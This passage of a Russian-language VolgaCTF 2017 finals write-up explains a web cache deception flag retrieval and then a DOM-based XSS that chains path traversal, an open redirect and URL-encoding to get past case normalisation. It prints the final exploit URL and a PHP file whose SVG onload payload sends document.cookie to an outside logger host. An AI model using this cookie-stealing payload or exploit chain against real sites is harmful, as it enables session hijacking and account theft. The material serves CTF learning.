2. С / запрос будет перенаправлен на /account/, так как пользователь авторизован
3. Cookie sessionid=xxx не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше.
4. Ответ с флагом будет закэширован с ключом /account/xxx

Получить флаг можно сделав такой запрос:

GET /acoount/xxx HTTP/1.1

или

GET /account/ HTTP/1.1
Cookie: sessionid=xxx;

Task 3
https://task3.finals.2017.volgactf.ru
Задание на DOM Based XSS.

В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.

loadPage('language/' + lang + '.html');

При этом параметр lang разбивался на 2 части по символу _. Первая часть приводилась к lower case, вторая к upper case.

  var langSplit = lang.split('_');

  if(langSplit.length === 2) {
    var language = langSplit[0],
    countryCode = langSplit[1];

    language = language && language != language.toLowerCase() ? language.toLowerCase() : language;
    countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode;

    return language + '_' + countryCode;

Также для скачивания текста использовался сценарий downloadButton.php в котором можно было сделать Open Redirect.

https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/

Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:

https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx

xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');

Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.